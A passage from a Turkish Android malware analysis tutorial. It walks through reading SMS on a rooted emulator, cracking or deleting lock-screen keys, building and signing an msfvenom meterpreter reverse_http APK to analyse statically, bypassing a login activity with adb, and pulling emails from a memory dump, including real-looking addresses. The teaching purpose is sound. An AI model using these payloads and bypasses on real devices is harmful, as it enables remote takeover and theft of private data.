41. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
APP COMPONENTS
Android uygulamalar “component(bileşen)” adı verilen yapı taşlarından oluşmaktadır. Bu yapılar
sistemin veya kullanıcının uygulamaya ulaşım sağladığı giriş noktalarıdır. Android mimarisinde derine
inmeden önce; Android bir uygulama hangi temel bileşenlerden oluşmaktadır?, Bu bileşenler hangi
görevleri içermektedir? gibi sorulara cevaplar arayacağız.
4 çeşit uygulama bileşeni bulunmaktadır. Bunlar;
● Activities
● Services
● Broadcast Receivers
● Content Providers
Activities
Yapılacak olan aktiviteleri, kullanıcının oluşturduğu etkileşimleri ifade eder. Örnek vermek gerekirse;
bir mesaj uygulamasında giriş ekranı bir aktivite, mesaj gönderme alanı başka bir aktivite, gelen
kutusuna baktığımız alan başka bir aktivite alanını temsil eder. Farklı sayfalardan oluşan yapılar
genelde farklı aktiviteleri temsil eder. İleride açıklayacağımız “Login Ekranını Bypass Tekniği” ile bir
aktiviteyi kullanmadan başka bir aktiviteyi çağıracağız.
Services
Hizmet, arka planda bir uygulamanın herhangi bir nedenden dolayı çalışması için genel amaçlı bir
giriş noktasıdır. Uygulamanın genelde uzun süren işlemleri gerçekleştirmek için, kullanıcının önünde
değil, arka planda işlem yapmasıdır. Uygulamanın servis özelliği sayesinde kullanıcı başka bir
uygulama içerisindeyken de servis özelliğine sahip uygulama arka planda görevini yapmaya devam
eder. Arka planda dosya indirilmesi ya da arka planda çalan bir müzik buna örnek verilebilir.
Broadcast Receivers
Yayın yapma mantığıyla oluşturulmuş olan çağrılara cevap vermek amacıyla oluşturulmuş bir
bileşendir. Bu çağrılar genellikle sistem, arada başka uygulamalar tarafından yapılmaktadır. Veri
kullanımının 3G’den Wi-Fi’ya geçişi, şarjın azaldığının duyurulması, bir dosyanın indiriminin
tamamlandığının duyurusu, ekranın kapatıldığı duyurusu gibi yayınlar sistem tarafından yapılan
anonslara örnek olarak verilebilir.
42. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Content Providers
Uygulamaya ait verilerin diğer uygulamalarla paylaşımını sağlama amacıyla oluşturulmuş bir
bileşendir. SQLite database’inde bulunan verilerin başka uygulamalar tarafından sadece okunmasını
değil, content provider tarafından izin verilmişse değiştirilebilmesini de sağlar.
Uygulama dünyasına ait güvenlik açısından çok önemli bu bilgilerden sonra, her zararlı yazılım
analizcisi ya da her zafiyet araştırmacısı gibi sistem mimarisi üzerinde derin bilgi sahibi olmalıyız.
Android cihazımızda dosyalama sistemi nasıl çalışmaktadır? Yetki sınıflandırması nasıl olmaktadır?
Cihazımızda root olmalı mıyız? Bir zararlı, cihazımıza bulaştıktan sonra neden root yetkilerine sahip
olmaya çalışmaktadır? gibi sorulara cevap verebilmek için derin olmasa da temel düzeyde bilgi sahibi
olmalıyız.
Linux dünyasında oluşturulan her yeni kullanıcı kendisine ait bir User ID (UID) değerine sahiptir.
Android dünyasında ise bu durum oluşturulan her yeni uygulama için geçerlidir. Her uygulama ayrı
bir kullanıcı gibi hareket eder. Bu sayede izinler kontrol edilir. Kullanıcı davranışı sergileyen her
uygulama ancak kendisine ait bölgeye ulaşabilir. Bunu aşabilmek için kernel seviyesinde exploitlere
ihtiyaç vardır.
Zygote, android cihazlarda oluşturulan ilk process’e denir. Root yetkilerinde çalışır. Android mimarisi,
processleri olabildiğince düşük yetkilerde çalıştırma üzerine tasarlanmıştır. Eğer zafiyetli bir process
root yetkilerinde çalışıyorsa, cihazın kontrolünü ele geçirebilir. Bu yüzden root yetkisini cihazdaki
diğer güvenilmeyen uygulamalara sonradan kazandırmak, cihazın kontrolünü kaybetme riski
oluşturmaktadır. SYSTEM yetkisi ise Root ile User arasında yer alır. Root kadar güçlü haklara sahip
değildir. /system/xbin dizini içerisinde SU dosyasına ait binary bilgileri bulunmaktadır ve cihazınızı
root etmek için birçok yöntem bulunmaktadır.
android.permission.READ_LOGS iznine sahip kötü niyetli uygulamalar rootlu cihazlarda diğer
uygulamalara ait kritik log bilgilerini elde edebilmektedir. Log bilgilerinin nasıl okunduğu konusu
ileride değinilecektir.
Telefonumuzu neden root etmememiz gerektiği konusunda kafanızdaki soru işaretlerine cevap
bulamadıysanız rootlu bir telefonun kötü niyetli birinin eline geçtiğinde neler yapabildiğine android
kilit mimarisini inceleyerek bir uygulama ile beraber bakalım.
43. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Uygulama: Kilit Ekranınız Rootlu Telefonunuzda Sizi Koruyor Mu?
- Kurmuş olduğumuz Android Emulatörü olan Genymotion’ı başlatıyoruz.
- ADB kullanımında emulatörümüzün rootlu bir telefon davranışı sergilediğini, adb ile shell
bağlantısı kurduğumuzda “whoami” sorusunu sorduğumuzda root cevabını aldığımızı
hatırlıyoruz.
- Shell bağlantısı kurduğumuz cihazımızda /data/data, /data/system gibi klasörlerde “root”
haklarının sağladığı güç ile gezebiliyoruz.
SMS Okunması
- Öncelikli olarak telefondaki SMS’ler “telephony” paketi içerisindeki “databases” klasöründe
tutulmaktadır.
- “/data/data/com.android.providers.telephony/databases”
- Paketler içerisindeki shared_prefs klasörleri uygulamaya ait ilk girişte kayıt edilen, tekrar
tekrar sorulmasını engelleyen bilgileri içermektedir.
- Burayla işimiz olmadığı için databases klasörüne geçiyoruz.
- Android cihazlar sqlite3 veritabanını kullanır. Bu bilgiyi edindiğimize göre mmssms.db
klasörünü “sqlite3 mmssms.db” komutu ile açıyoruz.
44. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
şekildeki gibi sqlite komut satırı karşımıza geldi. Artık MySQL’de yaptığımız gibi sqlite3 veritabanına
ait sorguları yazabiliriz.
“.tables” komutu ile veri tabanındaki tablolar listelenmiş, “select * from sms;” komutu ile de SMS
tablosundaki bütün mesajlar ekrana bastırılmıştır.
Pattern Tespiti
Sıradaki konumuz ise ne kadar korunaklı bir patterne sahip olursanız olun bu kilidi kaldırmak
“/data/system/gesture.key” dosyasını “adb shell rm /data/system/gesture.key” komutu ile silmek
kadar kolay belirtmektir. Durumun ciddiyetini ortaya koyabilme adına bu uygulamamızda kilit
ekranını kaldırmak yerine kilit patterninin ne olduğunu nasıl öğreniriz buna bakacağız.
45. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Android cihazlarda kilit patterni 1’den 9’a kadar numaralandırılmış 3x3 şeklindeki 9 adet tuşun,
kullanıcının belirlediği kilit permütasyonu şeklinde tutulmaktadır.
-------------------
| 0 | | 1 | | 2 |
-------------------
| 3 | | 4 | | 5 |
-------------------
| 6 | | 7 | | 8 |
-------------------
Bu kombinasyon SHA1 ile parola özeti (hash) alınmış şekilde “/data/system/gesture.key” dosyasında
bulunmaktadır. Bu işlem yapılırken bir salted (tuzlama) değeri kullanılmadığı ve 3x3 lük bir matrisin
toplam oluşturabileceği kilit pattern sayısı belli olduğu için rainbow table adını verdiğimiz tüm
ihtimallerin bulunduğu bir tablo oluşturulmuştur.
İnternette birçok sitede bulabileceğiniz bu tabloyu;
● http://www.android-forensics.com/tools/AndroidGestureSHA1.rar
adresinden indirebilirsiniz.
Sıradaki işlemimiz ise daha önce öğrendiğimiz ADB programını kullanarak gesture.key dosyasını
cihazdan çıkarmak olacaktır. Tabi bu işlemden önce emulatörünüze pattern kilidi koymayı
unutmayınız, yoksa gesture.key bulunamadı hatası verecektir.
46. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
“od -t x1 gesture.key” komutu ile istediğimiz formatta değeri çekebiliyoruz. -t paremetresine “x1”
getirerek hexa formatında veriyi almak istediğimizi belirtiyoruz.
Elde ettiğimiz değeri internetten bulduğumuz gesture.key rainbow table içerisinde arıyoruz ve kilit
ekranının 35428 olduğu sonucuna varıyoruz.
47. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
İnternette otomatik kilit ekranı kırma programları bulabilirsiniz. Biz burada işin teoride nasıl
çalıştığından bahsettik.
Android cihazlarda parolaların tutulma mantığına gelirsek, pattern kilitlerinden bir miktar farklı
olduğunu gözlemleriz. Öncelikle salt değeri kullanılmakta ve parolanın soluna eklenen salt değeri
MD5 ve SHA1 hashleri alınıp birleştirilerek “password.key” dosyasında tutulmaktadır. Salt değer ise
“locksettings.db” dosyasında bulunmaktadır.
şeklinde tutulmaktadır. Eğer ki rootlu telefonunuzda parolayı telefondan kaldırmak istiyorsanız
“/data/system” klasörü altında, “rm *.key” yazmanız yeterli olacaktır.
root@vbox86p:/data/system # rm *.key
Password + Salted Değer Password+ Salted Değer
| |
SHA1 MD5
| |
SHA1SUM + MD5SUM
48. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Statik Analiz
Analiz süreci statik, dinamik ve network analizi olmak üzere 3 temel kısımdan oluşmaktadır. Statik
analiz olarak tanımladığımız kısım, uygulamanın çalıştırılmaya başlanmadan incelendiği, uygulamanın
davranışlarının ön plana alınmadan analizinin yapılmaya çalışıldığı kısmı kapsamaktadır.
Bu süreç uygulamanın çalıştırılması için gerekli olan manifest dosyasındaki uygulama izinlerinin
incelenmesinden, uygulama içerisindeki kelimeler ve kod parçalarını anlamlandırmaya kadar olan
kısmı içerir.
Statik analiz kısmına başlarken, statik analiz hakkında ön bilgi almamıza yardımcı olacak apk dosyasını
oluşturmak için msfvenom kullanıacağız. Msfvenom payload oluşturmak için kullanılan oldukça
kullanışlı bir programdır. Android cihazlara etkisini göstermesi için oluşturulacak apk dosyası,
msfvenom ile şu komutla çalıştırılır.
sudo msfvenom -p android/meterpreter/reverse_http LHOST=192.168.1.55 LPORT=2727 -o
meterpreter.apk
LHOST: Bu parametre bağlantı kurulabilmesi için gerekli olan IP adresini temsil eder.
LPORT: Bu parametre yine bağlantı kurulabilmesi için açmak istediğiniz portu temsil eder.
“android/meterpreter/reverse_http”: Bu parametre ise bir payload çeşididir.
Pentest kısmından çok analiz kısmının açıklanmaya çalışıldığı bu dokümentasyonda zaten statik analiz
kısmında çalıştırılmayacak olan bu kısım daha fazla ayrıntıya girilmeden uygulama kısmına
geçilecektir.
Görüldüğü üzere “meterpreter.apk” dosyası android cihazlar için çalıştırılabilir bir uygulama haline
bürünmüş gibi gözükmektedir. Şimdi emulatörümüze sürükle bırak yaparak kurmayı deneyeceğiz.
49. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Şekilde görüldüğü gibi bir hata ile karşılaştık. İlgili hatada bize apk uygulamasının bir sertifikasının
olmadığını, yani imzalanmadığını söylüyor. Android Mimarisi konu başlığında anlatıldığı üzere bir apk
dosyasının kurulabilmesi için imzalanmış olması gerekiyor gerekiyor.
Bunun için önce imza oluşturup daha sonra bu imza ile oluşturulan meterpreter.apk dosyası
imzalanmalıdır.
İmza dosyası oluşturmak için;
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -
validity 10000
komutu kullanılır.
Oluşturulacak key dosyası için bir parola belirlememizi ve dosya bilgileri için bize ait bilgiler
sormaktadır. İstenilen cevaplar verildikten sonra my-release-key.keystore dosyası oluşur.
Bu imza dosyası ile apk uzantılı dosyayı imzalamak için ise;
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore
meterpreter.apk alias_name
komutu kullanılır.
50. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Şimdi başarılı bir şekilde imzalanan apk dosyasını tekrar emulatörümüze atmayı deneyeceğiz.
Şekilde görüldüğü gibi uygulamamız “MainActivity” ismiyle kurulmuş bulunmaktadır. Çalıştırıldığı
takdirde kötü niyetli kişinin kurbanı olmuş, meterpreter oturumu ile telefonunun uzaktan kontrolünü
karşı tarafa vermiştir.
51. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Şimdi kurulumu tamamlanan program çalıştırılmadan, bu bölümde üzerinde durulacak olan statik
analiz kısmıyla ilgilenilecektir.
Analiz işlemine başlanırken ilk olarak “manifest” dosyasındaki uygulamanın sahip olduğu izinlere
bakılarak uygulama için gerekli olan izinlerden fazlası isteniliyor mu sorusu için analiz yapılır.
Daha önce öğrenilmiş olan “apktool” programı ile “apk” dosyası decompiler edilir.
“AndroidManifest.xml” dosyası herhangi bir metin editörü kullanılarak açılır.
52. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Şekildeki bilgiler ile uygulamamızın;
- İnternet erişimi
- Wi-Fi ağına ulaşım hakkı
- Network bilgisine ulaşım hakkı
- Telefon görüşmelerini okuma hakkı
- Mesaj yollama hakkı
- Gelen kısa mesajları otomatik cevaplama hakkı,
- Ses kaydı yapma hakkı
- Telefon araması yapma hakkı
- Rehberi okuma hakkı
- Rehbere yeni kişi yazma hakkı
53. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- Ayarları değiştirme hakkı
- SD karta dosya yazma hakkı
- Duvar kağıdını değiştirme hakkı
- Kamerayı açma hakkı
- Mikrofonu açma hakkı
gibi yetkilere izin istediği görülmektedir. Fiziksel olarak telefonu birine vermekten farksız olan birçok
izni onaylayarak sanal ortamda bir başkasına vermeye rıza gösteriyor ve uygulamanın kötü niyetli
olduğundan şüphelenmiyor musunuz?
Ayrıca “manifest” dosyası içerisindeki bilgilerden uygulamanın başladığı activity ismi ve uygulama
ismi analiz edilebilir.
Sıradaki işlemde apktool ile decompiler edilmiş olan uygulamamızın assembly kod karşılığı olan
“smali” kodları incelenir. Smali dosyaları “/meterpreter/smali/com/metasploit/stage/” dizininde yer
almaktadır.
Yukarıdaki ekran görüntüsünde smali dosyalarına dönüşmüş class isimlerini gözlemleyebiliyoruz. İsmi
payload ile başlayan class ismi bile uygulama hakkında kötü düşünceler beslememize neden
olabilmektedir.
Buradaki R.class dosyaları ile bir işimiz olmayacaktır. Çünkü o dosyalar Android Studio’da uygulama
geliştirirken string değerlerinin tutulduğu yapılardır.
54. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
“MainBroadcast Receiver” dosyası ise android mimarisinde bahsettiğimiz “App Components” başlığı
altında geçen Activities, Services, Content Providers’ lar gibi temel yapılardan biri olup, uygulamanın
bir broadcast yayınına receive yapmasını sağlayan receiver classını oluşturmaktadır.
Yorumlanması smali kod yazmayı ve okumayı bilmeyen kişiler için çok zor olan smali kodlarına göz
gezdirilir.
Kodunun anlaşılması için oldukça zor olan smali dosyaları içerisindeki;
- currentDir
- currentTime
- payloadStart
gibi stringlerin varlığını gözlemliyoruz ve dosya statik analizine kaldığımız yerden daha önce
öğrendiğimiz “Androguard” programı ile devam ediyoruz.
- Uygulamamızı “androlyze -s” komutu ile başlatabiliriz.
55. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- Paket ismi, main activity ismi, class isimlerinin listelendiği programda apk içerisindeki metot
isimlerini listeleyerek inceleyebiliriz.
56. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- Metot isimlerinde ulaşılamayan, apk dosyasında geçen stringleri “d.get_strings()” komutu ile
listeleyerek inceleyebiliriz.
- Uzayan string listesinde 10.38.67.2 IP adresi dikkat çekmektedir.
- Uygulamamızı oluştururken meterpreter oluşturmak amacıyla girmiş olduğumuz IP adresiyle
aynı olan bu değer analizde fark edilmektedir.
- Sıradaki işlemde smali kodlarından yorumlanmakta güçlük çekilen uygulamanın Java kodları
görülecektir.
- Daha önceden açıklanmış olan “Dex2Jar” programı kullanılarak, “./d2j-dex2jar.sh
meterpreter.apk” komutuyla apk içerisindeki .dex uzantılı dosyaları .jar uzantılı dosyalara
çevirilecektir.
- “java -jar jd-gui-1.4.0.jar” komutu ile başlatılan JD-GUI programına .jar uzantılı dosya
sürükle bırak yapılarak .jar dosyaları java uzantılı classlara decompiler edilecektir.
- Ardından kodlar incelenebilir.
57. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- “Manifest” dosyası ve Androguard programından yapılan gözlemleme ile başlangıç activitysi
olan MainActivity.class incelendiğinde burada mainactivity programında bir view yani
uygulama için arayüz oluşturulmadığı gözlemlenir.
- Son olarak uygulamanın StartService komutu ile bir service başlattığı ve bunun isminin
MainService olduğu sonucuna ulaşılır. Service yapısının uygulama arka planda dururken
çalışmasını sağlayan bir app component olduğu, App Components başlığı altında çok önemli
olduğunu belirtmiştik.
- Çalıştırılan MainService incelenir.
- Mainservice içerisinde arka planda payload clasının start fonksiyonu çağrılır.
- Payload Class’ı incelenir.
58. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- Genel bir kod taramasından sonra başlatılan “start fonksiyonu” bulunarak ne yaptığı
incelenir.
- “startInPath” fonksiyonunun “filesdirectory” parametresi ile çağrıldığı gözlemlenir.
- “startAsync” fonksiyonu bulunur.
59. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- Thread oluşturarak Payload Class’ı içerisindeki “main metodunun” çağrıldığı gözlemlenir.
- Bu aşamada main metodu incelenmeye başlanır.
- Gerçekleştirilen işlemlerden sonra TCP mi HTTP mi bağlantısı yapılacağına karar verilerek
ilgili fonksiyon çağırılır.
60. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- Eğer TCP bağlantısı kurulacaksa URL adresinin split fonksiyonları ile parse edildiği ve socket
bağlantısı oluşturulduğu gözlemlenir.
- Yapılan bu uygulamada statik kod analizi kısmında kod okuma yeteneğinin analizde ne kadar
başarılı olacağınız ile doğru orantılı olduğu sonucuna ulaşılır.
Şimdi gerçek dünyadan, herkesin karşısına çıkan uygulamaları incelemeye devam edeceğiz;
- “towelroot.apk” adında bir apk indirilir.
- Androguard programı ile uygulamanın sahip olduğu izinler ve paket ismi incelenir.
- Sadece internet izniyle çalışan programın, uygulama içerisinde izinleri değiştirip
değiştirmediğinden şüphelenilerek strings değerlerine bakılır.
61. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- Execute, exploit, fingerprint, httppost gibi stringlerden şüphelenilerek activityler incelenir.
- Tek activityden oluşan program Dex2Jar ve JD-GUI programları kullanılarak java koduna
decompiler edilir.
62. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- javaSuckAssReadTheKernelVersion, exploit, rootTheShit gibi değişik isimlendirmeyle yazılmış
olan java kodunun incelenmesi sonucu, pratikde kullanıcı adına hiçbir şey yapmayı
amaçlamadığı sonucuna ulaşılır.
Obfuscation
Uygulamalar her zaman statik analiz aşamasında yaptığımız gibi açık ve anlaşılabilir olmaz. İnsanların
uygulamaların yorumlamasını güçlendirmek, kod analizi yapmasına olabildiğince engel olmak için kod
karmaşıklaştırma tekniklerine başvurulur. Bu teknikler sayesinde decompiler işlemi sonucu
uygulamanın kaynak kodunun elde edilmesinin önüne geçilmesi amaçlanır.
Örnek olarak aşağıda C dilinde yazılmış bir obfuscated kod örneği verilmiştir.
63. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
JavaScript dilinde yazılmış bir obfuscated kod örneği aşağıda verilmiştir.
Android programlar native dil olarak Java programlama dili kullanılarak yazılır. Bu yüzden android
programlar için kullanılan obfuscation teknikleri arasında en popüler olanı Java dili için kullanılan
popüler obfuscation aracı olan “Proguard” dır.
Proguard obfuscation uygularken aynı zamanda apk boyutunu küçülterek, gereksiz kısımların
varlığına son vermektedir. Peki proguard nasıl kullanılmakta ve tam olarak nasıl bir obfuscation
tekniği uygulamaktadır?
Aşağıda proguard programı kullanılmış bir android programının Dex2Jar programı ile .jar dosyasına
çevrilmiş halinin JD-GUI altında decompiler edilmiş ekran görüntüsü verilmiştir.
64. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Statik analiz kısmında incelediğimiz programlardan farklı olarak class isimleri, fonksiyon isimleri ve
variable değerleri bizler için anlamsız alfabetik harflerden oluşmaktadır. Aynı zamanda Dex2Jar
programı ile oluşturulan string değerlerinin tutulduğu “R.class” dosyası oluşturulamamıştır. Apk
boyutunun küçülmesi ile de analizinin yapılması zorlaştırılmıştır.
Proguard programı Android Studio içerisine gömülü olarak gelmektedir. Harici olarak indirilmeye
gerek duyulmayan bu özelliği uygulama geliştiricilerinin aktif hale getirmesi için build.grandle
içerisindeki minifyEnabled değerini true yapması yeterlidir.
Peki obfuscation yöntemiyle oluşturulmuş ve reverse edilmeye çalışılan apk dosyasındaki “id”
değerlerinin karşılığı nasıl öğrenilir?
R.class dosyası içerisinde olmayan id değerlerinin neye karşılık geldiğini öğrenmek için şu yöntem
izlenir;
- Öncelikle JD-GUI programı ile incelediğimiz programda öğrenilmek istenen “id” değeri
belirlenir.
- Şekil üzerinde “getString” metodu içerisindeki “2131165195” değerinin neye karşılık geldiği
öğrenilmek istenmektedir. ,
65. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- Bunun için öncelikle decimal olarak belirlenen bu değer hexadecimal formata çevrilmelidir.
- 7F07000B değeri daha sonra kullanılmak üzere not alınır. Sıradaki işlemde daha önceden
öğrenilmiş olan apktool yardımıyla apk dosyamız decompiler edilir.
- Decompiler edilmiş apk klasörü açılarak “/res/values” altındaki “public.xml” dosyası açılır.
- “public.xml” dosyası içerisinde not etmiş olduğumuz 7F07000B hexadecimal değeri aratılır.
66. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- “7F07000B” değerine karşılık gelen type ve name değeri not alınarak public.xml dosyası
kapatılır.
- Ekran görüntüsünde görüldüğü üzere “7F07000B” değerine karşılık gelen type “string” name
ise “bSKbJypbBf” değeridir.
- type kelimesine karşılık gelen değer “string” olduğu için “/res/values/” dizinindeki
“strings.xml” dosyası açılır.
- “strings.xml” dosyasında name=”bSKbJypbBf” ‘a karşılık gelen değer bulunur.
67. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- Sonuç olarak JD-GUI programımızın reverse edemediği “2131165195” değerinin bir string
type olduğu ve “180B525C72417B49C3E1FB9707470F8C9194F1FF996A” ‘ya karşılık geldiği
sonucuna ulaşılır.
68. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Dinamik Analiz ve Network Analizi
Uygulamanın çalışması esnasında davranışlarını inceleyerek yapılan analiz çeşidine dinamik analiz
denir. Dinamik analiz içerisine debugger (hata ayıklayıcılar) ’lar yardımıyla çalışır durumdaki
uygulamanın kodunda meydana gelen değişikliklerinin incelenmesi de dahildir. Çalışır durumdaki
uygulamanın kod akışından, cihaz üzerinde yaptığı, yapmaya çalıştığı davranışların tamamı dinamik
analize dahildir. Uygulamanın ağ içerisinde yaptığı istekler, iletişimler, değişiklikler ise network analizi
dediğimiz alana girmektedir. Çeşitli programlar yardımıyla, genellikle uygulamanın çalışır durumda
olduğu sırada ortaya konulan bu davranışlar; analizcinin, uygulamanın çalışma şeklini ve
davranışlarını ortaya koymasında yardımcı olmaktadırlar.
Dinamik analiz şu amaçlar için kullanılır:
● Uygulamanın run time yani çalışma esnasında yaptığı davranışları incelemek
● Uygulamaya dair zafiyet keşfinde bulunmak.
● Uygulamanın işleyişini değiştirerek, istediğimiz sonuca ulaşmak.
Kaynak kodunu bilinen android uygulamalar için Android Studio debug modu ile kullanabilmektedir.
Bunun için debug sembolleri belirlenen uygulamayı cihazımızda başlatmak için şu sembole tıklarız.
Android Studio’nun alt tarafında yer alan Debug bölümünde ise debug işleminin başladığını
görmekteyiz.
69. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Log Analizi
Sıradaki özellik ise android log kayıtlarını görmemizi sağlayan “Logcat” ekranıdır. Android Studio
üzerinde aşağıda yer alan bu ekran şu şekilde gözükmektedir.
Bütün android log kayıtlarını gözlemlemek yerine, “No Debuggable Processes” yazan yerden istenilen
uygulamanın spesifik olarak log kayıtları görüntülenebilmektedir.
70. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Logcat ekranı terminal ekranından “adb shell logcat” komutu ile başlatılabilmektedir.
Birden fazla uygulama yerine tek bir uygulamanın log kayıtlarını görüntülemek için uygun regex
komutları yazabilirsiniz. Aşağıdaki ekran görüntüsünde görüldüğü gibi id değeri bulunan “settings”
yani ayarlar paketinin logcate’ e düşen log kayıtları görüntülenmektedir.
“android.permission.READ_LOGS” iznine sahip kötü niyetli uygulamalar rootlu cihazlarda diğer
uygulamalara ait kritik log bilgilerini elde edebilmektedir.
Android Device Monitor bahsetmiş olduğumuz toolları içinde barındırarak uygulamaların dinamik
analizi hakkında detaylı bilgiler almamızı sağlamaktadır.
71. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
“Tools- Android - Android Device Monitor” yolunu kullanarak ulaşabileceğiniz ADM’ ye ait ekran
görüntüsü aşağıda verilmiştir.
Sol tarafta processler, sağ tarafta dosya yönetim alanı ve aşağıda az önce öğrenilmiş olan logcat
ekranı bulunmaktadır.
72. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Memory Analizi
ADM kullanılarak çalışan bir process’in memory dökümü alınabilmektedir. Memory dökümü alınacak
uygulama çalışır durumda olmalıdır. Zararlı yazılım analizinde kullanılan çok önemli yöntemlerden
biri olan bellek inceleme işlemi, dump’ı alınmış uygulamaların çeşitli programlar yardımıyla
incelenme işlemidir.
ADM kullanılarak android bir cihazdaki uygulamanın bellek dökümünü almak için çalışan process
seçilerek aşağıdaki ekran görüntüsünde görüldüğü gibi HPROF formatında dump alınabilir.
Yukarıdaki ekran görüntüsünde görüldüğü üzere com.android.email uygulaması seçilerek imlecin
gösterdiği ilgili Dump butonuna tıklanır. Daha sonra .hprof formatında dosya istenilen herhangi bir
klasöre kaydedilir.
73. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
İlgili dizine gidilerek terminal ekranında “sudo strings com.android.email.hprof > ay.txt” komutu
uygulanarak hprof formatındaki dump dosyasında geçen string değerleri ay.txt dosyası oluşturularak
yazılır.
Daha sonra ay.txt dosyası açılarak “@gmail.com” araması yapılır.
74. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Şekil incelendiğinde dumpını aldığımız mail uygulamasıyla Mucahid isimli “m3o.e.cey@gmail.com”
kullanıcısından “Aysenurk-------@gmail.com” kullanıcısına “Yagmur” konu başlıklı bir mail atıldığı
görülmektedir.
Yukarıda verilen ekran görüntüsünde encode edilmiş şekilde bulunan;
U2V2bWVrIGRhaW1hIGJlcmFiZXIgb2xtYWsgZGVnaWwsIHNlbnNpemtlbiBiaWxlIHNlbmluIG9sYWJp
bG1la3Rpci4u
metni base64 decoder yardımıyla ya da şekildeki gibi python gibi bir programlama dili kullanılarak
decode edilerek mail içeriğine de ulaşılmış olur.
75. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Uygulama
Sıradaki uygulama APP COMPONENTS başlığı altında üzerinde durulan “activity” yapısını
anlatmaktadır. Bir uygulama activity yapıları sayesinde uygulama içerisindeki sayfa geçişlerini sağlar.
Şekildeki uygulama “mainChecker” adında test ortamı için geliştirilmiş bir uygulamadır.
Uygulama öğretilmiş olan Androguard programı kullanılarak, apk dosyasının paket ismi ve activity
isimeri analiz edilir.
76. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Adb programı kullanılarak;
./adb shell am start com.anil.eventchecker/com.anil.eventchecker.admin_paneli
komutu kullanılır ve admin_paneli activity’si doğrudan açılmaya çalışılır.
Böylelikle program MainActivity classını çağırmadan parola sorulan ekranı geçerek direk admin
panelinin olduğu activity’i çalıştırır.
77. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Uygulama geliştiricileri bu problemi aşmak için şu yöntemlere başvurmaktadırlar;
- Sunucudan gelen parola giriş bilgisinin kontrolünü MainActivity’de değil ilgili activityde
yaparlar.
ya da
- MainActivity’de rastgele bir değer oluşturarak, ilgili activity’de bunun kontrolünü yaparlar.
Network Analizi
Bu bölüm, uygulamanın dış dünyayla kurmaya çalıştığı etkileşimi ve başarılı olduğu durumda ağ
içerisindeki diğer cihazlarla ilişkisini analiz etmeyi amaçlar. Bir uygulamanın network içerisindeki
davranışını analiz etmek içinse wireshark, tcpdump, burpsuite gibi araçlar kullanılabilir.
“~/Android/Sdk/emulator” dizini altında “sudo ./emulator -avd BGAEmulator” komutu ile Android
Emulator başlatılır.
Tcpdump binary dosyaları adb programı kullanılarak şekildeki gibi cihazın /data/local/tmp dizinine
yazılır. Bu işlemi gerçekleştirmek için bulunulan dizine tcpdump binary dosyalarının indirilmesi
gerektiği unutulmamalıdır. Bunun için ilgili paket;
78. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
● http://www.androidtcpdump.com/android-tcpdump/downloads
linkinden indirilebilmektedir.
“./adb shell” komutu ile cihazdan shell alınarak “cd /data/local/tmp” komutu ile tcpdump’ı
